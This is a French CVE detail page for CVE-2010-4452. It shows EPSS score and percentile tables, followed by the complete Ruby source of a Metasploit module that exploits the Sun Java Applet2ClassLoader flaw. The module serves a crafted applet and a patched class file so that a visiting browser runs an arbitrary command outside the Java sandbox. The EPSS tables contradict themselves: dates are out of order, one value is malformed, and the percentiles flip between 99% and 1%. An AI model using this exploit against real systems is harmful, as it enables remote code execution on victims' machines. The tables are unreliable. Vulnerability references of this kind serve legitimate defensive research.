CVE-2010-4452 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2	EPSS V3
2022-02-06	–	–	80.66%	–
2022-04-10	–	–	80.1%	–
2023-01-08	–	–	80.1%	–
2023-03-12	–	–	–	96.64%
2023-07-02	–	–	–	96.72%
2023-09-03	–	–	–	96.72%
2023-10-08	–	–	–	96.75%
2024-01-21	–	–	–	96.52%
2024-03-10	–	–	–	96.69%
2024-06-02	–	–	–	96.45%
2024-06-02	–	–	–	96.45%
2024-07-21	–	–	–	96.64%
2024-10-13	–	–	–	96.58%
2024-12-22	–	–	–	95.52%
2025-01-05	–	–	–	95.84%
2025-02-23	–	–	–	95.64%
2025-01-19	–	–	–	95.84%
2025-01-19	–	–	–	95.84,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2022-04-10	99%
2023-01-08	1%
2023-03-12	99%
2023-07-02	99%
2023-09-03	1%
2023-10-08	1%
2024-01-21	1%
2024-03-10	1%
2024-06-02	1%
2024-06-02	1%
2024-07-21	1%
2024-10-13	1%
2024-12-22	1%
2025-01-05	1%
2025-02-23	1%
2025-01-19	1%
2025-01-19	1%

## # $Id: java_codebase_trust.rb 11983 2011-03-16 05:01:29Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize( info = {} ) super( update_info( info, 'Name' => 'Sun Java Applet2ClassLoader Remote Code Execution Exploit', 'Description' => %q{ This module exploits a vulnerability in Java Runtime Environment that allows an attacker to escape the Java Sandbox. By supplying a codebase that points at a trusted directory and a code that is a URL that does not contain an dots an applet can run without the sandbox. The vulnerability affects version 6 prior to update 24. }, 'License' => MSF_LICENSE, 'Author' => [ 'Frederic Hoguin', # Discovery, PoC 'jduck' # Metasploit module ], 'Version' => '$Revision: 11983 $', 'References' => [ [ 'CVE', '2010-4452' ], # [ 'OSVDB', '' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-084/' ], [ 'URL', 'http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html' ] ], 'Platform' => [ 'java', 'win' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ # OK on Windows x86 + IE + Sun Java 1.6.0u21,u22,u23 # FAIL on Ubuntu x86 + Firefox + Sun Java 1.6.0u23 [ 'Automatic (no payload)', { } ] =begin [ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win', } ], [ 'Generic (Java Payload)', { 'Arch' => ARCH_JAVA, 'Platform' => 'java', } ], =end ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 15 2011' )) register_options( [ OptString.new('CMD', [ false, "Command to run.", "calc.exe"]), OptString.new('LIBPATH', [ false, "The codebase path to use (privileged)", "C:\\Program Files\\java\\jre6\\lib\\ext"]), ], self.class) end def exploit path = [ Msf::Config.data_directory, "exploits", "cve-2010-4452", "AppletX.class" ].join(::File::SEPARATOR) @java_class = nil File.open(path, "rb") { |fd| @java_class = fd.read(fd.stat.size) } if not @java_class raise RuntimeError, "Unable to load java class" end super end def on_request_uri(cli, request) #print_status("Received request: #{request.uri}") jpath = get_uri(cli) #print_status(jpath) # Do what get_uri does so that we can replace it in the string host = Rex::Socket.source_address(cli.peerhost) host_num = Rex::Socket.addr_aton(host).unpack('N').first codebase = "file:" + datastore['LIBPATH'] code_url = jpath.sub(host, host_num.to_s) cmd = datastore['CMD'] cmd_off = 0xb4 cn_off = 0xfc case request.uri when /\.class$/ #p = regenerate_payload(cli) print_status("Sending class file to #{cli.peerhost}:#{cli.peerport}...") cls = @java_class.dup cls[cmd_off,2] = [cmd.length].pack('n') cls[cmd_off+2,8] = cmd cn_off += (cmd.length - 8) # the original length was 8 (calc.exe) cls[cn_off,2] = [code_url.length].pack('n') cls[cn_off+2,7] = code_url #File.open('ughz.class', 'wb') { |fd| fd.write cls } send_response(cli, cls, { 'Content-Type' => "application/octet-stream" }) handler(cli) else html = <<-EOS <html> <body> <applet codebase="#{codebase}" code="#{code_url}" /> </body> </html> EOS print_status("Sending HTML file to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, html) handler(cli) end end end